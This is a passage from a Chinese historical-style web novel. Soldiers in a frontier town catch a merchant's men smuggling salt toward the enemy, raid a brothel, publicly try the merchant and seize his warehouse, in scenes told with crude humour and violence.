看着梁松一副油盐不进的架势,老鸨子堆起一脸盛开的菊花,把原本不大的一双眼睛,挤成了一条缝,瞅了眼前的梁松片刻,嬉笑道:“老娘这身子,热时败火,饥时顶饱,金铃儿你就别惦记了,今天真的被人包了。”
看老鸨子的样子,不像是说谎。
谁有钱不挣?
拿谎话来打发客人?
看到梁松犹豫起来,老鸨子手里的丝帕,在梁松的额头甩了一下,道:“走呀!愣着干什么?先到屋里喝茶暖和暖和,总比站这挨冻肉要好受些吧!”
他能看上眼的,别人也是喜欢,何况金铃儿还是百花楼的头牌,盯上她的人自然就不会少。
西河镇,有的是一帮子有钱人。
这一点,梁松是心知肚明的。
但心里的这把火,已经被今天那笔飞来的横财给烧了起来,总不能就这样败兴而归吧?
犹豫之间,梁松被老鸨子半拉半扯,进了一间比较僻静的屋子。
待梁松坐了,老鸨子这才扯着嗓子喊道:“春梅,给大爷倒茶。”
一阵香风扑面后,名叫春梅的窑姐儿,已经提着一把茶壶在梁松面前站了。
“这位爷,就让妾身伺候您好了!”
说着,春梅款款上前,给梁松面前的茶碗中,徐徐注入了热腾腾的茶水。
这年头,只要能拿出粮食和银子,大把的女人,就能被调教成百花楼的窑姐儿。
穷人家里不缺女儿,富户手中不缺粮食和银子。
所以,百花楼选人,那可是颜值第一。
在这粗布棉袄和白板皮袍为主的边城,身穿绸缎的窑姐儿,那可是边城各镇街的一景。
这些经历了各种狎客们狼扯狗咬的女子们,个个已经是应对自如,把南来北往的客人们手拿把掐,糊弄得团团转。
像梁松这种兜里有几个钱就烧包的主,当然是这种地方狠宰一把的肥羊了。
金铃儿是什么人?
百花楼的老鸨子能轻易放手让他赎人?
这女子,可不是从边城穷苦百姓手中用粮食淘换来的女娃儿。
那可是家中遭变,被举家发配到边城的奴籍女子,再是身份卑微,曾经也是出身地方官宦人家。
金铃儿天生一副好嗓子,又弹得一手好琴,就是在内地的青楼,这资本也是文人骚客们争相把宠的角儿。
这等女子放在边城,本身就是鹤立鸡群,有着与众不同的气质和皮囊。
那种江南女子特有的肌肤和精致的容貌,更是让各种狎客们神魂颠倒。
百花楼拥有这等女子,老鸨子岂是轻易撒手的?
青楼本就是个销金窟,喝血吸髓不用刀的地方。
梁松瞅上了金铃儿,百花楼的老鸨子不把他的银子吸干抽尽,那是不会轻易放过这个财神爷的。
“死鬼,既然你嫌老娘这身肉腻歪,那么好了,这百花楼的姐儿们,你随便挑,老娘今儿不收你半个铜子。”
一边给梁松抛着眉眼的老鸨子,一边豪迈地做着承诺,一边又暗示春梅给梁松上手段。
“这位爷!”
春梅几乎是把上半身全压在梁松的一只肩头,鼻子吹出的气让梁松脸上一阵痒痒。
“您尝尝这茶合您的口味不?要是淡了苦了的,妾身再给您烧就是。”
“茶刚好,喝着暖和就成。”
梁松心不在焉,脑子里全是金铃儿那可人的影子。
兜里有大把的银子,那就吃仙桃,谁他娘的还稀罕这些酸梨子烂杏儿的?
梁松一挺腰杆,把那只被春梅压得酸麻的肩膀给腾了出来,目光看向老鸨子那张满月似的大脸,道:“据我所知,金铃儿很是高傲,一般不答应客人整天包身的?”
“那要看是谁了?”
老鸨子轻蔑地一瞥还不死心的梁松,身子向前一倾,神秘说道:“有人出钱,让金铃儿陪衙门的那位,你说咱开门做买卖的,敢不答应?”
有人出钱?
而且还是用来招待衙门的那位?
能出得起给金铃儿整天包身银子的主,招待衙门的那位?
除了镇首田诚业,谁还有如此大的面子?
想到这里,梁松心头陡然一惊。
“你知道是何人出钱?”
“这个嘛!”
老鸨子卖了个关子,嘴角一扬,不屑地撇撇嘴,轻蔑说道:“亏你也是个当掌柜做买卖的人,行规你懂不?”
是啊!
作为青楼,是随便不能泄露客人信息的,何况还是用来巴结大人物的客人。
“说,老子有的是茶资!”
梁松一咬牙,把一锭十两的银子,“啪”一声就拍在桌面上。
“收起来吧!”
老鸨子不屑地斜瞥梁松一眼。
“老娘说了,今儿的茶资消遣,老娘给你全免,姐儿由你挑,就是点了老娘的卯,老娘也乐意陪着你老东西。”
话说到这份上,梁松更是坐不住了。
有人攀上田诚业,那摆明了就是生意上的事,眼下泰丰粮行被查,盯上粮食经营的人可不少。
再是自己和泰丰粮行的掌柜宋贵不和,况且宋贵是已经死了,
但这摊子买卖,那可是周敬堂的。
作为周敬堂放在明面上的掌柜,他如何不能警惕呢?
“玉兰,就当我老梁求你了,谁如此大方包了金铃儿?这你得告诉我老梁啊!”
梁松态度瞬间的转变,老鸨子笑得是更欢了,伸出一根胡萝卜一样的指头,故作娇羞地一点梁松的额头,嗲声说道:“不喊肥婆娘啦?还记得老娘的名字叫玉兰?”
说罢,又是戳了梁松一指头,嗲声嗲气地又道:“算你还有良心。”
第100章 私贩官盐,资敌之嫌
这一声“玉兰”。
叫的老鸨子骨头都酥了。
“这些姐儿你要是都看不上眼,那妹子我就陪你喝几盅。”
说完,老鸨子摆摆手,示意春梅去端几样酒菜。
不一刻,四样酒菜上桌。
“松哥,妹子劝你,有些事情还是不要打听的好。”
老鸨子说完,饶有意味地望向梁松。
“玉兰,不瞒你说,有人攀上田大人,那一定是冲着粮行的买卖来的,你应该知道,那是谁的买卖?”
泰丰粮行和亨通货栈背后的东家,作为世面上混的老鸨子哪能不清楚?
管他谁的买卖!
“松哥,话说太白,就像女人脱光了一样无趣,能打粮食生意的主,不一定能把你背后的东家放在眼里,再说,衙门那位,也不是吃素的,这泰丰粮行被抄,不正好给衙门那位,腾出来一个发财的机会吗?”
老鸨子说的这些,梁松岂能不懂?
眼下泰丰粮行是惹上了官司,周敬堂再是厉害,这粮行掌柜伙同甲正倒卖军粮,那可是军部那些大人们,握在手中的一个大把柄啊!
这个哑巴亏,周敬堂是吃定了。
但这个买卖,要是让别人占先钻了空子,以后货栈的经营,也会大打折扣。
在西河镇的地盘上,周敬堂的手伸得再长,那也捂不住西河镇所有的盘面。
如此一想,梁松瞬间就烦恼起来,拿过酒壶就自斟自饮了起来。
“松哥,你慢点喝,没人跟你抢,先吃口菜……”
老鸨子一脸欣喜,亲自拿起筷子,夹了一块鸡肝就往梁松的嘴里送……
与此同时,镇上的一家客栈里,叶十三也在啃着一条烤羊腿。
“大人,梁松那老东西,进了一家叫百花楼的窑子,目前还不见出来。”
“那是人家兜里有银子了,咱的那些银子,梁松不会如实入账的,至少有两三成,甚至更多的会落入他的私囊。”
“那是,那是,有钱了就是好!”吴六子讪笑着,抓过一只馒头就啃了起来。
叶十三抬起头来,指着桌上一盘猪头肉,漫不经心地说道:“给你留的。”
吴六子抓起筷子,却没有急着伸向香气诱人的猪头肉,继续啃着馒头说道:“货已经上路了,估计这会差不多都快到地方了。”
“如此甚好,但愿郭威那怂包能办好这差事。”
说完,叶十三把啃光了肉的羊腿骨,往桌上一扔,爬上炕去就打起了鼾声。
此时的沙柳滩村,月光如洗。
除了偶尔有夜枭瘆人的叫声传来,四野静得很是令人不安。
“用点劲,抓紧时间。”
一条在马车前牵着马的黑影,转头对马车后面推车的三条黑影又道:“赶在天亮前交货,回去掌柜的给赏钱。”
一辆装载着草料的马车,正毫无声息地在旷野中行驶。
拉车的马,被摘掉了脖圈上的铃铛,就连四个蹄子,也被包上了羊皮,生怕发出稍大的动静声响。
“这次赏银到手,老子豁出去了,非得在百花楼美美地睡上一夜。”
“你小子,也就这些出息了,拎着脑袋换来的几个赏银,非得填那些窑姐儿的无底洞。”
“老子还舍不得去百花楼,得赶紧给家里好好存上几石粮食,镇上的粮食买卖被新来的千户给砸了,不准备些粮食,这万一开战咋办?”
“你还别说,这姓叶的都不简单,新来的千户姓叶,今天来的那个大主顾,也是姓叶。”
“是啊!一个有权,一个有钱,都是吃人的主。”
四条黑影发着牢骚,但又兴奋无比,马车很快就来到荒滩外的一处树林边。
“应该就是这里?”
牵马的黑影,不安地望了望四周,清冷的月光下,只有那片树林就像一道黑色的墙幕在不远处挡着。
“燃起火把,举起来晃几下看看?”
牵马的黑影又是一句。
很快,跟在车后的三条黑影,霎时就点燃了三支火把高举在马车前面晃动起来。
这一晃,瞬间就把马车前的四条黑影吓了一跳。
眼前不远的树林中,齐刷刷亮起无数的火把。
粗略一数,居然有五六十支之多。
“就是他们,来接货了。”
差点被吓了一跳的牵马黑影,激动地叫了起来。
马车前举着火把的三条黑影,顿时把手中的火把晃得更凶了。
呼啦啦!
树林中出现的几十支火把,霎时就向这边围了过来,一眨眼的功夫,几十支火把就把马车围在中间。
“货就在草料底下,要不要当场验过?”
牵马的黑影迎上前去,向一名没有举火把,貌似带头的黑影搭话。
随着对方数量众多的火把映射出的光晕逐渐亮清了起来。
牵马的黑影差点就尿了。
只见在两支火把的映射下,一个身穿革甲,面色狰狞的高个男子正冲着他怪笑。
这一细瞅,牵马黑影腿根一热,真的尿了一裤裆。
包围着他们的黑影,无一例外都身穿革甲。
那款式,不是元蒙的鞑子兵,而是大夏戍边部队北防军的打扮。
“什么货?”
带头者开口了。
“盐巴呀!”
牵马黑影迟疑地一答。
“送往哪里?”
带头者又是一问。
“不是让送到这边,由你们送往那边吗?”
说着,牵马黑影迟疑地一指元蒙方向。
他怀疑,这是军部的人参与的贩卖。
“拿下!”
带头者瞬间暴怒,一声令下就抽出佩刀按在牵马黑影的脖子上。
“仓啷啷”一声响过之后,手执火把身穿革甲的兵卒们,纷纷抽出佩刀,把马车旁的另外三条黑影,瞬间就控制了起来。
被吓掉了三魂的牵马黑影,硬起头皮,磕巴着又问:“你……你们……难道不是……叶掌柜的……人……”
这一问,带头的革甲人笑道:“我们是叶千户的人,沙柳滩村驻军百夫长郭威,就是你老子我。”
此言一出,被控制住的三条黑影,随即就尿了一裤裆。
可能,这是出发前茶水喝多了的缘故吧?
肝胆俱裂的牵马黑影,浑身一软,屁眼一松,马车旁的人圈里,顿时就弥漫起一股浓烈的屎味来。
“私贩官盐,而且还有资敌之嫌,给我把这四名嫌犯押回去连夜突审……”
郭威突然变脸,咆哮一声,直接把牵马黑影给吓得当场昏死过去……
第101章 嫌犯
天刚放亮,房门就被敲响。
“大人,郭威他们来了!”
吴六子眼中星芒闪动,一进来房间就报讯。
“不错!”
叶十三点点头,笑道:“这次,还是让他出头,你暗中盯着,镇不住场子我再出面。”
“口供昨晚连夜就录了,白纸黑字,人证物证俱全,梁松那老东西就是想耍赖,这下也洗不清了。”
吴六子得意地又补充了一句。
叶十三从怀里拿出梁松亲手写下的收条,道:“这个也拿着,关键物证可不能少了,派几个探马跟着,他们手狠。”
叶十三连面都没露,坐在客栈里悠闲地喝茶等消息。
得了命令的郭威,这下抖擞了起来。
自打当上百夫长后,还从来没有如此威武过。
感到这种扬眉吐气的时刻,更能体现他的威风,沉下脸来就吩咐道:“都听好了,兵马一分为二,甲正带三十人查抄亨通货栈,另外二十五人跟我去天香楼拿人。”
梁松一夜没回,夜宿青楼的事,早已被吴六子派出去的探马盯死了。
二十几匹健马,扬起一股烟尘就杀向百花楼。
“滚开!”
到了楼下,郭威手中的马鞭,狠狠抽向一名拦在马前的龟奴。
“军爷,您这样会吓跑客人的。”
龟奴双手抱着脑袋,哭丧着脸望着一脸凶狠的郭威。
“客人?”
郭威眼睛一瞪,扬起马鞭就抽。
“老子办差,管你客人不客人的,快给老子把门打开,不然老子一把火烧了你这窑子窝。”
“军爷息怒,容小的进去禀报一声。”
龟奴抱着脑袋,躬着腰挤进半开的门缝不见了踪影。
郭威一扬手中的马鞭,转头向身后的兵卒们吼道:“去几个人,把住了后门,不可放跑一个,其他人,给老子把这门拆了。”
“咔嚓……”
话音一落,虎狼一样的兵卒们,卖力地抡圆了手中的佩刀,照准了门板就是一通狂砍。
一时间,在二十把佩刀的狂砍下,木屑飞溅得到处都是。
听了门外龟奴的禀报,老鸨子在被窝中的一身肥肉,霎时就颤抖了起来。
官差来青楼这种地方找茬?
这可是稀奇事,自百花楼开业以来,就没少给个庙里烧香的份子钱。
而且这还是大早上的,动静大得就像缉拿逃犯一样。
“混账东西,你也没打问一下是哪个衙门的差官?”
老鸨子急忙往身上套着衣服,还不忘让龟奴去打探虚实。
“哎呀老娘哎!”
门外的龟奴一跺脚,又道:“外面凶神恶煞的,哪里容得小的问话,要不是小的跑得快,小命都没了。”
“你确定不是衙门的人?”
老鸨子眼珠子一转,隔着门帘又问。
“不像是衙门的差官,身上穿着甲呢,都骑着马,像是地方驻军。”
驻军?
这下,让老鸨子摸不着头脑了。
千户罗远桥是死了,但他的手下和百花楼也没过节啊!
再说,就是罗远桥没死,那也犯不着这样找百花楼的麻烦啊?
“哥哎!”
老鸨子伸过手去,摇了摇用被子蒙着头的梁松,道:“妹子一个妇道人家,抛头露面不方便,还是你出去应付一下,看看这些人究竟要干什么?”
一脸疲惫的梁松,乌龟一样从被窝中探出一张虚肿的脸来,心有余悸地说道:“谁去都没有,只有钱管用,那些带兵的缺衣少食的,不来敲诈几个银子,还能如何?”
敲诈银子?
老鸨子恍然大悟。
能用钱解决的问题,就不是问题。
“快,拿二百两银子,跟老娘出去看看。”
憋了一夜,一老尿都顾不上放的老鸨子,穿起鞋来后急忙就往外走。
“咔嚓……”
没等老鸨子下楼,破门而入的兵卒们,已经呼啦啦涌进了院子。
只见这些兵卒个个配刀在手,
一看就不是善茬。
“军爷……”
老鸨子心中一急,又被如此的场面一吓,一股隔夜老尿就顺着裤管流了下来。
“你就是这里的老娘?”
一名兵卒冲上楼梯,手中的佩刀,已经抵在老鸨子囊鼓鼓的胸口。
“是,民妇就是这百花楼的老娘,军爷这是……”
“少她娘的给老子废话,快说,梁松那老东西在哪里?”
“啊……”
老鸨子陡然又是一惊,一股老尿随即又喷了出来。
梁松?
是他招惹来的灾祸?
“我的娘哎……”
老鸨子懊恼不已,明明昨天梁松要走,是她死缠烂打的,硬把这个祸星给留了下来。
这下好了,索命的小鬼都杀上门来了。
“说,要是敢包庇藏匿要犯,老子拿你下大狱。”
此时,老鸨子已经感觉到,兵卒佩刀的刀尖,已经贴着她的衣襟缝隙,冰凉地挨到了她热腾腾的胸前。
“在……在那屋……不甘民妇的……事……”
老鸨子一指昨夜和梁松折腾了一夜的那间静室,浑身抖得已经说不出一句完整的话来。
“给老子搜!”
兵卒一脚踢开眼前的老鸨子,把刀一挥,身后就冲上来五六个同样持刀的兵卒。
“呯!”
刚才被虚掩上的门,被一名兵卒一脚踹得稀烂。
听到外面的动静后,来不及穿好衣服的梁松,就被两名兵卒从被窝里拖了出来,摁在地上捆了个结实。
郭威双手背在身后,缓缓进了屋子,目光一瞥屋中,淡淡说道:“好啊!还有同犯窝藏,全都给老子带走。”
这下可热闹了。
留在楼下院子里的兵卒们,提着寒气森森的佩刀,挨个踹开了房门,惊得还在被窝里的窑姐儿们尖叫不止。
一些留宿的狎客,被冰冷的佩刀从热腾腾的被窝中赶了出来,棉衣都没穿就被赶到院子中双手抱头蹲着。
“嫌犯梁松,以盐资敌,百花楼涉嫌包庇藏匿通敌叛国之嫌犯,疑有同案人犯藏匿在此,你等严加盘查每个人等,涉嫌资敌之逆产,一概待查甄别。”
郭威站在二楼的楼台处,扯着嗓子向院内的兵卒下令。
一时间,各窑姐房间里的细软,全都给搜了出来堆放在一起。
那些狎客们随身携带的包裹,褡裢,也都无一幸免。
被搜出来的银子银票,谁能证明与资敌行为无关?
“大人明鉴啊!小的只是路过贵地的客商,与什么梁松压根就不相熟……”
“冤枉啊大人,小的只是喝花酒过头,故而就地留宿,并无叛国之举……”
“求大人开恩,小的夏初丧偶,心中郁闷孤独,这才来青楼寻欢片刻,哪敢和资敌之犯有染……”
一时间,被羁押下来的狎客们,纷纷叫苦喊冤,求饶不断。
“清不清白,有无涉嫌,不是你们自个儿说了算,那得过堂后再行定论。”
一脸杀气的郭威,把手中的权力发挥到了极致。
从惊吓中回过神来的老鸨子,这才意识到了事态的严重性。
资敌?
那可是叛国啊!
死罪不说,搞不好还要抄家灭族。
“大人啊!”
顾不得许多的老鸨子,两手抓住衣襟向两边一扯,露着白花花的胸脯,嚎叫道:“民妇之心,日月可鉴,民妇只是为了一夜承欢,故留这梁姓客人销魂片刻而已……”
“民妇认罚,民妇认罚……”
急于撇清自己的老鸨子,又趴在地上磕头如捣蒜,连连叫喊着甘愿掏银子来洗清自己的嫌疑。
第102章 当街公审资敌奸细
百花楼,已经乱作一团。
极度的惊恐之下,梁松反而镇定下来。
“大人,这里面怕是有误会?”
被捆绑起来,强按在地上跪着的梁松,缓缓抬起头来又道:“草民自经营亨通货栈以来,一直克己守法,从无违规经营之处,何来资敌一说?”
“大胆!”
一名兵卒,照准梁松的腰眼就是一脚,怒道:“你这狗贼,郭大人军务繁忙,难道是吃撑了来这百花楼闻骚气?”
“啊……”
吃了一脚的梁松,疼得差点背过气去。
咬咬牙后,倒吸一口凉气,话中有话地说道:“你们如此对待草民,敢问通天驿镇衙的周大人知晓不?”
抬出后台来了!
投石问路,还算不是太蠢,能在此时镇定下来,也算是有些修为了。
不料,闻言之下,郭威猛然转头看向梁松片刻,突然暴吼道:“你敢往周大人头上泼脏水?”
“大人明鉴!”
冷静下来的梁松,淡淡又道:“亨通货栈的一应经营,那都是周大人许可的范围,这期间要是有何误会,最好是先和周大人会晤较为妥当。”
“来人!”
郭威眼中杀机顿现,怒道:“把梁松这狗贼的舌头给割了,胆敢污蔑通天驿镇首周大人,罪加一等。”
玩砸了!
搬出周敬堂,不但没有唬住郭威,反而让郭威认为他居心不良。
“大人明鉴!”
慌了神的梁松,直接摊牌道:“亨通货栈,此乃周大人的买卖,草民只是明面上的掌柜而已,大人要是一意孤行,到时候怕是不好向周大人交代?”
这话没错!
一个百夫长,在副万户的眼里,渣都算不上。
胆敢动周敬堂的人,简直就是吃了豹子胆了。
这时候,屎尿淌了一裤裆的老鸨子,也从地上抬起头来,就像抓着了救命稻草一样,仰着一张满月样的胖脸,急道:“军爷啊,您可想好了,这梁松还真是周镇首的人,这里面肯定是有误会,有误会的啊!”
“去你娘的,轮得到你插嘴?”
郭威身侧的一名兵卒,照准了老鸨子油篓一样的腰,又是一脚踹了过去。
“嘭!”
沉闷的一声响后,老鸨子往地上一趴,直接就背过了气去。
从两只裤管中顺着白萝卜一样的脚脖子流出的屎尿,差点让郭威当场把昨天的午饭都给吐了。
自得到叶十三的命令后,他紧张都饭都顾不上吃,反复研究着行动部署,到现在还是水米没进一口,肚里早都是咕噜乱响着了。
而梁松,已经被两名兵卒拿捅火的铁铲正往开撬嘴,另一名兵卒,从牛皮长靴中拔出一把匕首,准备要割他舌头的架势。
“死到临头,还要污蔑周大人,看来,不用大刑你是不老实招了?”
郭威居高临下,半眯着眼睛,冷冷地看着地上挣扎着的梁松。
“不见棺材不落泪,老子就让你看看,你私运官盐,资敌叛国的无耻行径,今让老子抓了现行,想抵赖?没门。”
看来,郭威是铁了心要把“资敌”之罪给锤实了。
“好,老子这就让你心服口服。”
郭威眼珠子又是一转,向身边兵卒们吼道:“门口摆上案桌,老子要当着西河镇老小的面,亲审这个无耻奸细!”
呼啦啦一阵,有兵卒抬了百花楼的案桌,直接摆放在百花楼门口。
如此阵仗,顷刻间就吸引了不少的百姓围观。
郭威一脸杀气,端坐在案桌后面。
被捆绑的粽子一样的梁松,被摁在案桌前跪了,老鸨子也未能幸免,昨夜和梁松一起滚被窝,眼下却被摁在梁松身边跪着。
“咣咣!”
一名兵卒,找出来一只铜盆,当作锣就在百花楼前面敲了起来。
这一阵敲打,几乎把镇上早起的百姓,全都给吸引了过来。
“咣咣……”
铜盆不断地被敲响,围观的人越来越多。
西河镇除了庙会,还真没有如此热闹过。
这么大的阵仗,是要干什么?
审案?
那有镇衙门的大堂,这青楼妓院的门口闹这么一出,到底是为了何事?
就在围观的百姓们一头雾水的时候,郭威目光一扫眼前乌泱泱的人群,提高了声调问道:“元蒙鞑子屡犯我大夏疆土,对我大夏边民烧杀无数,就在我大夏戍边北防军禁商期间,你却私贩官盐资助我敌,此等人神共愤的叛国行径,你如何面对全镇父老?”
资敌?
私贩官盐给元蒙鞑子?
这还了得!
想想元蒙鞑子才血洗了沙柳滩村,村民和驻军,都被元蒙鞑子屠杀近三百口,粮食和牛羊也被抢劫殆尽。
这种猪狗不如的东西,居然财迷心窍,还贩运官盐私售外敌?
“杀了他……”
“剁碎了喂狗……”
“不杀了这个杂碎,如何对得起蒙难的沙柳滩村老小们?”
“大人,此人留不得,还审什么?砍了就是……”
“人面兽心的东西,之前如何就没看出来?”
“……”
郭威的话一落,围观的百姓们就骚动起来。
情绪激昂的百姓们,纷纷叫嚷着让处死梁松。
面如死灰的梁松,咬着牙高声嚷道:“与治其罪,何患无辞?”
“草民与大人平时并无交集,更谈不上怨仇,大人这是非要治草民于死地了?”
“大人不问青红皂白,张口就定草民的资敌之罪,草民从未离开这镇街半步,就是夜宿青楼狎妓寻欢,那也不是犯了王法。”
煮熟的鸭子嘴硬,求饶已经是行不通的,只有抵赖,当着镇上老小的面,看他郭威还敢肆意妄为?
梁松把最后一丝希望,寄托在镇上衙门,如果衙门插手,那就有一定的程序,如此可以争取到时间,急等周敬堂出面斡旋。
可他想错了,郭威并没有把他送往衙门,而是就势在对他的抓捕现场开审。
面对梁松的一连三问,郭威并不急着回答。
而是把目光,投向了叶十三住宿的客栈方向。
“好!”
郭威突然收回视线,目光一扫围观的百姓,高声又道:“我可问你,刘三,赵四,漆二娃,还有曹刚,这四人你可认得?”
此言一出,梁松浑身一抖。
“大人说的这四人,乃是我亨通货栈的伙计,和草民一道都是为周大人办事。”
“哼!你少扯周大人,难道通天驿镇堂堂镇首,会和你们这些杂碎沆瀣一气私贩官盐资助我敌不成?”
梁松再一次抛出了周敬堂来提醒郭威,但郭威就是毫不顾忌这个,反而当着镇上百姓的面为周敬堂开脱。
“好!”
郭威又喊了一声好来,继续说道:“只要你承认他四人和你相熟就好。”
能不承认吗?
镇上的百姓,大多数都知道亨通货栈,也知道他梁松就是亨通货栈的掌柜,而那四个人,都是亨通货栈的伙计。
眼下如果为此抵赖,岂不是当众证明他梁松自己在说谎?
第103章 铁证如山难抵赖
“这一点,草民承认。”
梁松点点头,表示认可。
“那好!”
郭威从怀里拿出一份按着红手印的供词,递给身边的兵卒,道:“就让镇上的父老乡亲们都看看,这可是他四人亲口承认的。”
“大人是军伍,屈打成招之下,几个伙计能不招认大人所列之罪?”
这梁松还真行。
完全一副滚刀肉的架势,对眼前兵卒手里的供词,干脆一推三二五。
“好,够胆!”
郭威“蹭”的一下从案桌后面站了起来,目光一扫人圈外面,吼道:“昨夜子时,你亨通货栈的四名伙计,套着马车拉着私盐,去沙柳滩村外与元蒙的边境何干?”
不料,梁松并没有由此妥协。
冷冷望了郭威一眼,淡淡说道:“货栈买卖,开门是伙计,打烊后那是人家的自由,再是我这个掌柜,也不能干涉柜上伙计的人身自由,大人所说之事,草民并不知情。”
“好一个并不知情!”
郭威瞬间大怒,吼道:“将人犯带上来。”
人犯?
就在围观的百姓们听得一头雾水的时候,人圈外面即刻骚动了起来。
“让让,都让让!”
两名兵卒,一人牵着马,马拉着一辆板车,车后面又跟着一个兵卒。
再看那马车,车架上满载着成袋的盐巴,四个被捆绑得缩成一团的伙计,用绳子串在一起跟在马车一侧。
围观的百姓见状,纷纷让开一条道来。
兵卒把马车,在百花楼门口直接横了过来,然后从车上卸下一只装满了东西的袋子,拔出佩刀在袋子上一划。
哗啦啦!
从袋子的被刀刃划开的破口中,顿时就有白花花的盐巴流淌出来洒了一地。
“真是盐巴,好咸。”
有胆大的百姓,上前几步,弯下腰来用指头蘸着流淌出来的盐巴,放在嘴里舔舐了一下。
“无耻之徒,罪证就在眼前,还敢抵赖,大人,快杀了这狗东西,给遇难的村民们报仇啊……”
尝过了盐巴的百姓,跪了下来就求郭威把梁松给杀了。
“杀了他,杀了他……”
愤怒的百姓们,纷纷挥动着拳头,吼声如雷,叫嚷着让郭威杀了梁松。
“肃静!”
面对群情激愤的围观百姓,站在郭威身侧的一名兵卒,暴吼一声来维持现场秩序。
郭威伸出两手,凌空向下压了压,等嚷嚷声小了下来,便把目光投向在马车旁边跪着的四名伙计,冷声问道:“你四人目无国法,私犯官盐给元蒙敌贼,你们可知罪?”
“大人明鉴啊!”
一名伙计抬起头来,瞥见梁松也跪着,便高喊道:“草民只是听从掌柜安排,掌柜让草民干什么?小的就干什么。”
“是啊大人,我等四人,都是听从货栈掌柜梁松的指使……”
有人带头,原本万念俱灰的伙计们,霎时就像看到了一根救命稻草,纷纷指证起梁松对他们的指使来。
这下,方才还振振有词的梁松,此时也不得不低下头来,面如死灰地耷拉着脑袋。
“还有,本官手中关于你的罪证,可不光是这些。”
郭威嘴角扬起一丝冷笑,把梁松亲自写下五千两银子的收条,拿了出来。
这下,围观的人群更加愤怒了起来,要不是有兵卒们在前面挡着的话,群情激愤的百姓们,就会冲上去把梁松撕成碎片。
一旁趴着的老鸨子,在一阵又一阵的惊吓和失望下,把积攒了一夜的屎尿,一股脑儿全泄在了自己的两只裤腿中。
也许是郭威实在忍受不了那味道,皱过几下眉头后,高声宣布道:“现已查明亨通货栈掌柜梁松,资敌叛国的所有罪行,人证物证俱在,即刻起,对亨通货栈用以查封,一切逆产充为军资处置,对通敌一干人犯,押入大牢交由镇首大人发落。”
此言一出,围观的百姓们似乎还不解恨,眼中满是怒火狠瞪着梁松。
与此同时,一名甲正带着另一部分兵卒,三下五除二就查抄了亨通货栈的账册和库存货物。
负责征募新兵丁的另一名甲正,正好在镇上把新征来的三百兵数集中起来。
所有的新兵卒们,全都给派上了用场,不大时候就把亨通货栈几间库房中囤积的布匹、棉帛、茶叶、纸张、器皿、皮毛,甚至还有私藏的盐巴和珍贵的玉石,全都给搬运一空。
剩下空堂堂的房屋店铺,被一纸封条全都给封了起来。
郭威不傻,磨蹭到这时候了,目的就是为了拖延时间,既把梁松拿下,又免得镇衙门及早得知后参与进来查封货栈。
这下好了,关于“资敌”的叛国案,理当移交镇衙门了。
当然,这一手,那是叶十三向传话的探马早都交代好了的。
不然,光凭郭威这个棒槌,还不一定能把这事办得如此顺溜妥帖。
郭威让梁松在罪证上按了手印,即刻就让兵卒把梁松押往镇衙门的牢房。
此时,喝足了茶水的叶十三,换上了一身的革甲,带着吴六子和探马们,威风凛凛地去见田诚业。
午时,镇衙门。
“大人,不好了!”一名兵卒急急闯入后衙。
“混账,狼撵你了?”
一觉睡到了午时的田诚业,正意犹未尽地端详着门后骑在一只瓦盆上放尿的金铃儿。
被突然而来的禀报声,吓得金铃儿差点把瓦盆给踢翻在地。
“大人,新来的千户叶大人手下驻军,查抄了亨通货栈,还抓了亨通货栈的掌柜梁松。”
兵卒跑得气喘吁吁,胸口剧烈起伏着站在门外。
“这叶十三,他究竟要干什么?”
勃然大怒的田诚业,面颊一抽,一拳狠狠地擂在桌上。
“大人息怒!”
系好了腰带的金铃儿,心头也是重重一震。
呆愣片刻,稳下神来眉眼一翻,向着怒气冲天的田诚业娓娓说道:“那个姓叶的查了周大人的货栈,这不是好事吗?田大人您,正好让别人把这摊子买卖给开了。”
没错!
泰丰粮行的事,昨天不就是这么干的吗?
与其让周敬堂把这档子生意揽了,还不如让这摊子买卖的收入落在自己的手中。
如此来看,这叶十三还真他娘的会搞事。
你只是得些小浮财而已,但把一条发财的路,却给我腾了出来。
没有你这鲁莽武夫,本大人还真在这条缝里插不进去针的。
“启禀大人,叶十三求见!”
又一名兵卒,急匆匆赶了过来,站在门外就是一声禀报。
第104章 军政两千户心照不宣
这就来了?
金铃儿的一席话,霎时点醒梦中人。
“先奉茶,本官即刻就到。”
这下,田诚业没有摆谱,而是让兵卒先上茶招待叶十三。
“大人,奴家只是妇人之见,具体如何?您还是以法典为重。”
金铃儿不但善于察言观色,而且还擅长欲擒故纵,当初梁松就是被她一碗接一碗的迷魂汤,灌得想为她赎身以求朝昔相伴。
青楼本是窑姐儿的戏台,每天都上演着情深意浓的戏码。
本来老于世故,精于计算的梁松,却鬼迷心窍偏偏踩了这个坑。
这不,刚给田诚业点了一把火,眨眼间又让田诚业以法典为重。
如此看来,梁松的这条老命,那可是已经走在投胎的路上了。
亨通货栈被抄,梁松腰包里还能有银子?
要是梁松由此死了,岂不是少一个纠缠着她的人?
想想往日,自己洗干净了往炕上一躺,任由梁松就像猪拱菜窖一样啃她一身口水。
每次完事,金铃儿都泡在浴桶里半天,恨不得把自己身上的一层皮都给搓洗掉了。
眼下好了,这老货,把这辈子的生路已经走到头了。
已经穿好了官衣的田诚业,双手正正衣领,点头道:“田某绝不徇私枉法,当以百姓安危为重,当以我大夏的江山社稷为重。”
男盗女娼啊!
这话一点都没错,一个青楼的头牌窑姐儿,一个手握生杀大权的狎客,此时居然冠冕堂皇地为社稷,为百姓的福祉背书。
“大人,百花楼的老娘,平时和梁松交情不浅!”
最毒妇人心!
这话更是不假,金铃儿借机把火引到老鸨子身上。
她这是要干什么?
“哦!”
田城业戴好了帽子,转过头来半眯着眼睛,盯着金铃儿百媚千娇的一张粉脸,沉声道:“你想要百花楼?”
“我的,还不是大人您的?”
金铃儿莞儿一笑,娇羞地转过脸去,娓娓又道:“奴家只是想,自个要是有了菜园,就不必去集市上掏钱买菜帮子吃了。”
田诚业嘴角一拧,笑道:“你她娘的真狠,不过,这事不是不可以,那得看火候,本官先去会会叶十三再说。”
抛下金铃儿到了大堂,叶十三正在慢悠悠地喝茶。
“小的见过田大人!”
看到威仪十足的田诚业,在两名兵卒的跟随下走了进来,叶十三欠欠身子正要行礼,却被田诚业摆手拦了下来。
“叶大人接防西河镇,本官有失远迎,还望叶大人莫要介意啊!”
田诚业拱拱手,向叶十三假惺惺的一番客套。
两人虽然同属千户职,但身为上千户的田诚业,却是硬生生的比叶十三这个下千户高出两级来。
叶十三咧咧嘴,笑道:“田大人公务忙,那比得小的这等粗人自在?”
“叶大人客气了!”
